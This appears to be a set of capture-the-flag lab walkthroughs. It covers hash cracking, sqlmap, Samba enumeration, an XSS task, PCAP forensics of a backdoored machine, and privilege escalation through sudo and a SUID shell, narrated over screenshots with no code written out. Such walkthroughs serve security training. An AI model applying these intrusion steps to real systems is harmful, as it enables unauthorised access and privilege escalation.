![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdifzV0MIX8OqtNPJ7i%2Fimage.png?alt=media\&token=829ce567-e534-49e4-823d-89136d026813)

### Final Walkthrough

Lets select the module and set the options

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdihSodS7l1XkPgBrd8%2Fimage.png?alt=media\&token=e5213a79-6079-42fb-9702-54b617709438)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdihX0hyGmV9QXcp_4S%2Fimage.png?alt=media\&token=cf7920b2-1c91-42e1-a494-2cea5b50c8aa)

Lets run the exploit

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdijH-c4bPWLtJFTiD5%2Fimage.png?alt=media\&token=5f450bf9-4338-4e37-90e8-1478007f10f9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdijg8sYV6a9TZnst8o%2Fimage.png?alt=media\&token=9608c479-d204-492a-b344-86b368b17e7d)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdijkrO7G1XR742KmfT%2Fimage.png?alt=media\&token=7431805f-f03b-4ac5-af5d-aa7299ed8450)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdijppopH2ZmMy8k6d5%2Fimage.png?alt=media\&token=e6416c77-88f3-41e7-b050-b7a5d4eabbb0)

## Hashing

### Salting and Formatting

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdik11hyoBneniUOKvo%2Fimage.png?alt=media\&token=bf730823-0f54-4a58-ba6f-98c24f0321f6)

### Hashcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdikgN7zj74ZMbHnl9X%2Fimage.png?alt=media\&token=36dcb7bf-1403-4d79-a36f-5f501d0e144a)

Lets crack the first hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdikr-KtgcsaIwPmv3c%2Fimage.png?alt=media\&token=1fe39b62-ddc2-436f-8421-b4c86081a599)

Lets crack the second hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdilAnMkKTuEndEeLf0%2Fimage.png?alt=media\&token=094db134-0161-44bf-851c-7f8e028d50f5)

### John The Ripper

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdilTQno2zr7PNlJ647%2Fimage.png?alt=media\&token=e0c0a1d1-6ada-4140-a79b-e02c4d38a5d9)

Lets crack the first hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdimPKVLycccTtnL08f%2Fimage.png?alt=media\&token=6829f29d-2301-418b-a1d4-56de11586350)

Lets crack the second hash

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdin9itYgHm2bOEI10D%2Fimage.png?alt=media\&token=6c0ad2a4-35dd-4843-9fe2-f8a4979c7fc8)

## SQL Injection

### Sqlmap

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdio9Go7_eiUGexKrkF%2Fimage.png?alt=media\&token=f48f44a6-79c9-4a85-a5b0-00fd51308301)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdioCgB9LwvZxzGnHnw%2Fimage.png?alt=media\&token=603640d4-8b20-4828-8e8c-04714fbe34d5)

## Samba

### Smbmap

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-MdirJrwt8TM3mLPsgq7%2Fimage.png?alt=media\&token=2aa3612f-2d09-4b3c-b2e2-3ba3f8231b15)

### Smbclient

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdi6pl3IJz0mhHLTVxJ%2F-Mdirc3evINzzaNtAzgt%2Fimage.png?alt=media\&token=743a22cd-066b-4780-8aad-7b6dbc55ba1a)

## Final Exam

### Scanning

Lets run some nmap scans to find open ports and services

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdirhsXIYpsj_fg6Pkk%2F-MdiskRmA54unPObIrNJ%2Fimage.png?alt=media\&token=d95b50da-bb61-4cc7-a4b5-cf3f6fb4b44d)

### Enumeration&#x20;

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdirhsXIYpsj_fg6Pkk%2F-Mdit0j8l0Ffyt0PYpvj%2Fimage.png?alt=media\&token=1fdf768e-9735-462a-a51d-e977d111a31d)

Its a default Apache page, lets run a gobuster scan to find open directories

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdirhsXIYpsj_fg6Pkk%2F-MdiuIRLxbdkin5F-nj-%2Fimage.png?alt=media\&token=d5ce8773-dd03-43a1-a60d-21bde54d91c6)

Lets visit this directory

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdirhsXIYpsj_fg6Pkk%2F-MdiuNUpa043zxRcVouj%2Fimage.png?alt=media\&token=008a527b-05b3-420a-9675-1a1c93379075)

There is nothing

Lets look for files within this directory.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-Mdj-fnzY4wB_dqv7suJ%2F-Mdj-lohG877YojlTzbG%2Fimage.png?alt=media\&token=70a85c6b-c43b-40ee-89db-97501e0999dc)

We find a file called secret.txt . Lets see it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-Mdiwcz7icu_LDTVQoOI%2Fimage.png?alt=media\&token=38b9d1dc-b580-4dfb-9ccc-986092888e92)

We have a username and a hash, lets crack it using john the ripper.

### Exploitation

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-MdiwoVc6G_SYVOIMo7g%2Fimage.png?alt=media\&token=19f06c7f-7009-47c6-b775-322871da8a59)

Lets login through ssh and read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-Mdix-Y4Npsfs-QUqY6o%2Fimage.png?alt=media\&token=da5d52f9-8337-4f84-89e5-3303bd9033dd)

### Privilege Escalation

Lets run sudo -l to see what we can run as other users.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-MdixDAhuhYLHX0DsCCd%2Fimage.png?alt=media\&token=44021ba9-0dd4-47d8-9834-88ae34e28d6c)

Ok so we can run "su" as root, lets do it.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-MdixJ6SohtDUmr-LEH7%2Fimage.png?alt=media\&token=023424b1-3cc0-4127-8d91-1da655663dfd)

We are now root, we can read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdiuyoliQf4YSVRo3Es%2F-MdixRDDlLnXFbXWhF37%2Fimage.png?alt=media\&token=eab93d5a-946b-4100-973c-d6a1e4680ffe)


# JavaScript Basics

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZkSHgNYWzWCUqKfC9%2F-MdZkVECHn75IQPGzZI9%2Fimage.png?alt=media\&token=22c710c8-a3da-4ba2-8521-cc0cf340ea0f)

## Task 1: Intro To JavaScript

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZkSHgNYWzWCUqKfC9%2F-MdZkeOUYdG209f01jD9%2Fimage.png?alt=media\&token=c857e95f-b10c-46ad-b897-4cc78769b6c2)

## Task 2: Variables and Operators

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZkSHgNYWzWCUqKfC9%2F-MdZkqEAXxraGrWVdzmA%2Fimage.png?alt=media\&token=ce36dcf6-27bf-4f75-a258-3412e242e724)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZkSHgNYWzWCUqKfC9%2F-MdZlChPEU6u8tBOGLG6%2Fimage.png?alt=media\&token=fa254734-4e6f-4a46-a547-ba329284297f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZllxIAgaSszQ1RcRt%2Fimage.png?alt=media\&token=c9af7871-3bf9-4d08-995d-81d8f00743cb)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZlrEG4-qQ5zK9sE0U%2Fimage.png?alt=media\&token=86a9a437-50a8-4306-8cb4-3d12fb365dc5)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZmk89fGqxyPlQbeoP%2Fimage.png?alt=media\&token=7af15eae-41c5-456a-a38e-40989cbe8c94)

## Task 3: Conditionals

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZmtpr4nYTMD_xxzh0%2Fimage.png?alt=media\&token=5614cd2d-1bc1-4b98-a663-f9f80c03a599)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZmwUCTPwYJQsF_YEl%2Fimage.png?alt=media\&token=ea521ad8-de05-460b-beff-acd76f5f5156)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZn-cTepK1gBq-KSZC%2Fimage.png?alt=media\&token=e5da2fa3-1843-4f14-9dc8-611e87b6ad78)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZn2JWiuk7N8zE7L8p%2Fimage.png?alt=media\&token=a8afca20-7673-4c8e-adde-04a3e9496008)

## Task 4: Functions

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZnJKWOIQmpBTv8ET0%2Fimage.png?alt=media\&token=eab89cc0-e53b-416c-afa3-46a12d18955e)

## Task 5: Objects and Arrays

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZnPpVVOgTl3lJrwvp%2Fimage.png?alt=media\&token=b620a586-cec6-4152-963b-a0d3d4b9b993)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZnWQ__bVwvLOLKgOo%2Fimage.png?alt=media\&token=2f856d2b-c711-4b51-9ee3-300475095b24)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZn_T3mKcCLTKW5wR6%2Fimage.png?alt=media\&token=782788ba-133c-480d-a0d7-a3ab37f42b11)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZnoP__foGKOfuB1R-%2Fimage.png?alt=media\&token=d0303a2e-45db-47a2-a1e7-6c28638c35b3)

## Task 6: Loops

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZoEYkYnGdfnieAqnj%2Fimage.png?alt=media\&token=02ffa109-2267-4cfd-868a-06f2fb651e0b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZoIOwpN-kCJCEzDCP%2Fimage.png?alt=media\&token=481a7391-f18c-4a09-8ec7-b622096d8746)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZocfA67xlXRWBHn11%2Fimage.png?alt=media\&token=c52eb0f3-9eb2-4312-b181-49996af2a6f5)

## Task 7: Document Object Model (DOM)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZol70Q8_o9k2mq8Z7%2Fimage.png?alt=media\&token=96afc461-5e65-4f09-87e6-fba7caeb73fd)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZp35ghoM-iTKwKbQf%2Fimage.png?alt=media\&token=2f187e12-bd8e-4e58-8f5a-89535393aeca)

## Task 8: XSS

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZpJ_c6kHLzhXbsMsn%2Fimage.png?alt=media\&token=3cbdfafd-de23-44bf-b27e-8210dde418d9)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZpZVYDN2khlrvHg8O%2Fimage.png?alt=media\&token=4c00627b-dcda-4d14-943d-1583a1beb5af)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZpii0fHcDt0faAaEz%2Fimage.png?alt=media\&token=60e2a77f-34e9-4ba7-8bbb-1c4c16373c4f)

## Task 9: Final Notes

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdZlcYksO8cEIHbS-6L%2F-MdZpoBfUvUEmtFQcS0m%2Fimage.png?alt=media\&token=3839a67b-3733-43a4-a370-56c80f5bfd9e)


# OverPass 2 - Hacked

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJJhsT0V1Hwb_YAYb%2F-MdYJUfyt-p9KbpoO9eL%2Fimage.png?alt=media\&token=368f994c-9e2a-472e-98d6-503e0ca8edd7)

## Task 1: Forensics - Analyze the PCAP

Lets download the PCAP file and open it in wireshark

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYK6GCLYMBcxb1FZEK%2Fimage.png?alt=media\&token=2980d09c-a807-4c4f-b37e-32bb2de7894c)

As they asked what is the URL of the page they used to upload a reverse shell lets look at the http packets

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYKpC9cZ9kj41GwjUw%2Fimage.png?alt=media\&token=14da663f-f20e-4bfa-9c56-275094d57a15)

Lets follow the TCP Stream

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYL0cjjQzUpq2dJCo0%2Fimage.png?alt=media\&token=a06c9f2e-f11d-4b09-b47b-d5eaafbe3d4a)

We have the page

Next we need to find the payload the attacker used to gain access.

Looking at another http file, we can see this

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYLXLOrhwYj_jgZfCF%2Fimage.png?alt=media\&token=d4229016-27ae-47c5-bec5-7147a540de32)

Next lets look at a random file in wireshark, we see this&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYLyZIw_55zFNZTnOH%2Fimage.png?alt=media\&token=a8f3941f-2df1-484a-b001-b5051a9d6866)

We have the password. Scrolling down a bit we see the link the attacker downloaded that is used for persistent on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYMGPhY0T1_Pdx8ng8%2Fimage.png?alt=media\&token=b766ef15-6e77-4180-85a5-9aa261160c46)

In the same file, we can see how many of the system passwords were cracked.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYMfyQ9gjX55jVtErw%2Fimage.png?alt=media\&token=93c6a433-f23e-4519-8660-ff880ee21c27)

We are done with the questions in this task

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYMmRBhSOFpVmf9oM9%2Fimage.png?alt=media\&token=dc1fb2bb-5e67-4056-b7b4-f46cf0041f0a)

## Task 2: Research - Analyze the code

Lets look at the code of the backdoor the attacker downloaded by downloading it to our machine

Looking at the main.go file, we see the default hash for the backdoor

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYPUCoUWecfHFlt8nj%2Fimage.png?alt=media\&token=04ddad4b-6bfb-48b7-a04d-12dbe43475fd)

Scrolling to the end of the file, we see the salt for the backdoor

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYPdht8KzUDb5cOPxa%2Fimage.png?alt=media\&token=0a37383e-c4df-420e-b309-3ac6b4d3f40c)

We can find the hash the attacker used in the same pcap file we opened earlier

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYPttHWn2Wz1v6KWE2%2Fimage.png?alt=media\&token=33f99f6e-9eb5-4d0e-a338-d9627b68c25c)

Lets crack the hash using hashcat

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYTeYRs2RgFhK5-JGn%2Fimage.png?alt=media\&token=f81f18c0-cb7c-471b-9692-c43c0b08a8ba)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYTi_gkqooj2I63RxY%2Fimage.png?alt=media\&token=f81c04fd-2ab2-4757-9bbd-629302b85f50)

## Task 3: Attack - Get back in

Lets run a nmap scan to see open ports on the machine

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYUb0vtsCpqkK8btyk%2Fimage.png?alt=media\&token=10c412aa-70a9-4a8c-9469-4d0c6279d39a)

Lets visit the website

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYUk9w5-A_xabsESt5%2Fimage.png?alt=media\&token=9573a408-7fe7-46ca-9979-bfdeb012ca48)

Lets now follow what the attacker did and get into the machine. Lets login through ssh on port 22 as the user james and use the password we cracked earlier.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYVe3ClALmoZXIrhqL%2Fimage.png?alt=media\&token=3ebd6ce3-15b9-43c7-ba42-647d136aaa62)

Lets read the user flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYVqf6hBRdcbqxZbpS%2Fimage.png?alt=media\&token=0edb4d19-a10f-4ec4-8c60-b4a725dc7c40)

Lets look for SUID files and see if we can find any interesting ones.

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYWKFZkfLCT0d6cxvm%2Fimage.png?alt=media\&token=52fadc80-d11d-4058-81a8-22f3b825f0a3)

This is one is interesting and not common, lets check it out

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYWUYE7MZvgjgVEEAx%2Fimage.png?alt=media\&token=c91b9cae-f1b7-4ecb-863c-29e4dbf40f71)

So it gives us a shell as the user we want, lets try running it so that we can get a root shell. This can be found on GTFOBins

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYWje7E_Pc9WCFwx6Y%2Fimage.png?alt=media\&token=1e1874a5-f8e2-4f76-b122-cdbf36d662f3)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYWqwRaLEO15FL0gLb%2Fimage.png?alt=media\&token=f79e1a73-f9dd-4a11-a4e3-1b13a7d8aa3b)

We are now root , lets read the root flag

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdYJWGNFb9Z-eEaCI6j%2F-MdYWzRsU0eGkJSXc0l0%2Fimage.png?alt=media\&token=66c2c62a-2dbc-49ad-8a04-a5f300ad73d7)


# Linux: Local Enumeration

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDpisnWz3hfd1tWVbO%2F-MdDqNSMnQrFItPmOFQe%2Fimage.png?alt=media\&token=31f8c409-7757-4a06-a303-3a3cb74610d0)

## Unit 1

### TTY

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDqP3NcsSi9_k-Y8k6%2F-MdDqqUldQZqRJ91DsnQ%2Fimage.png?alt=media\&token=a85b26c9-2bbe-4fa2-a6fa-27aa87f009b5)

### SSH

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDqP3NcsSi9_k-Y8k6%2F-MdDtdY2kSBL2e5xFj8z%2Fimage.png?alt=media\&token=ceb50def-01b4-4914-81f0-4901fb3cae7b)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDqP3NcsSi9_k-Y8k6%2F-MdDtaCsCHjRwff8k3Hd%2Fimage.png?alt=media\&token=695e3046-eaaa-437f-b9fc-bc8328892fc7)

We can see that there is no .ssh folder.

## Unit 2: Basic Enumeration&#x20;

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDqP3NcsSi9_k-Y8k6%2F-MdDttq5dGxIiMqip1qJ%2Fimage.png?alt=media\&token=636825d9-549b-4d0c-b404-c8a9c7c6211a)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDqP3NcsSi9_k-Y8k6%2F-MdDufrzD2tjFP6DtdL8%2Fimage.png?alt=media\&token=335dd401-8b96-483f-baa4-e3c7d4e29fe9)

## Unit 3: /etc

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDv_ldopJm2H-N2__r%2F-MdDw0yEs1rmrr5S5g2v%2Fimage.png?alt=media\&token=d2a0a98c-926b-4f37-8219-a23e68686949)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDv_ldopJm2H-N2__r%2F-MdDwB09nWEfDJNnH0Gq%2Fimage.png?alt=media\&token=28ea4928-3e24-4311-920a-8f42df1b5fce)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDv_ldopJm2H-N2__r%2F-MdDwECOzfgrYaN5jKvu%2Fimage.png?alt=media\&token=d41dd780-6f57-49e6-aaba-f12acbc0f64e)

## Unit 4: Find command and interesting files

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDv_ldopJm2H-N2__r%2F-MdDwLYmhyC819zndLO6%2Fimage.png?alt=media\&token=f6e20ed7-9f47-449a-b5fb-8d567a227d1f)

![](https://1569822153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Ma_-L-NUkJ1mxbddZG2%2F-MdDv_ldopJm2H-N2__r%2F-MdDwjaWH5HN8IdXAT8t%2Fimage.png?alt=media\&token=79ac6e04-bccb-421a-9e50-83966c5b2ab4)

